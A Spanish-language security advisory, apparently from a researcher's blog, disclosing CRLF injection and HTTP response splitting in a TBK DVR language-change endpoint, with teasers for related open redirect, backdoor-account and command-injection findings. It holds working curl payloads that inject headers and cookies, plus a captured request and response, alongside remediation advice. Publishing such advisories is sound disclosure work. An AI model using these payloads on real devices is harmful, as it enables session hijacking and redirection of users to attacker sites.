[TBK DVR] CRLF Injection con HTTP Response Splitting - CVE-2026-####

El endpoint device.rsp?opt=changelanguage&language=<idioma>&url=<destino> refleja los parámetros language y url en los headers de la respuesta (Set-Cookie y Location, respectivamente) sin neutralizar los caracteres CR (\r) y LF (\n). Un atacante puede inyectar %0d%0a para terminar la cabecera y añadir cabeceras (y cuerpo) arbitrarios: header injection, HTTP Response Splitting e inyección de cookies.
Componente afectado:
Endpoint / mecanismo:
GET /device.rsp?opt=changelanguage&language=X&url=Y(handler del CGI)Stack / versión: firmware
T2017040635_V01Precondición: ninguna (endpoint accesible sin autenticación)
Credenciales / contexto de prueba: acceso remoto no autenticado.
POC 1 — CRLF / inyección de cabecera:
curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11&url=evil.com%0d%0aX-Injected:%20yes"
# => Location: evil.com
# X-Injected: yes

POC 2 — Cookie injection vía language:
curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp"
# => Set-Cookie: userlan=11
# Set-Cookie: pwned=1
- URL
- http://192.168.0.101:85/device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp
- Endpoint
- GET /device.rsp
- Parameter
- ?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp
GET /device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp HTTP/1.1 Host: 192.168.0.101:85 User-Agent: Morzilla/7.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Cookie: uid=1 HTTP/1.0 302 Found content-type: text/html; charset=UTF-8 P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT' Location: /login.rsp Set-Cookie:uid=1; Version=1 Set-Cookie:userlan=11 Set-Cookie: pwned=1; Expires=Fri, 02-Jan-2099 01:00:00 GMT; Version=1 <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF='/login.rsp'>here</a></BODY></HTML>
Robo de sesión / account takeover y manipulación de cookies (fijación de sesión); cache poisoning.
Actualizar a la ultima version estable disponible, la cual deberia poder cubrir minimamente:
Neutralizar CR/LF (rechazar
\ry\no codificarlos) en todo valor reflejado en headers.Sanitizar
language(solo entero de una lista permitida) antes de reflejarlo enSet-Cookie.Codificar/sanitizar toda salida en cabeceras HTTP (rechazo explícito de CR/LF).
More from @CapitanAlfa
[DVR TBK] Open Redirect ( en flujo de cambio de idioma ) - CVE-2026-####
El endpoint de cambio de idioma device.rsp?opt=changelanguage&language=<idioma>&url=<destino> copia el valor del parámetro url directamente al header Location de la respuesta, sin validar el esquema ni el dominio . Un atacante puede forjar un enlace que…
[TBK DVR] Backdoor: Cuenta root permite acceso de administrador. ( +Contraseña rota ) - CVE-2026-####
El dispositivo incorpora una segunda cuenta de administrador, root , con la contraseña que no aparece en la interfaz web (la lista de usuarios la filtra explícitamente). El acceso con root es válido y otorga privilegios de administrador, constituyendo una…
[TBK DVR ] Command injection sin autenticación permite RCE como root - CVE-2024-3721
El protocolo rsp expone un comando obfuscado device.rsp?opt=sys&cmd= S O S T R E A MAX (decodifica a streamax ) cuyo parámetro mdc se concatena en una llamada a system() sin sanitizar . El filtro de saneamiento bloquea ; , | , & y > , pero no la sustitución…



Comments
0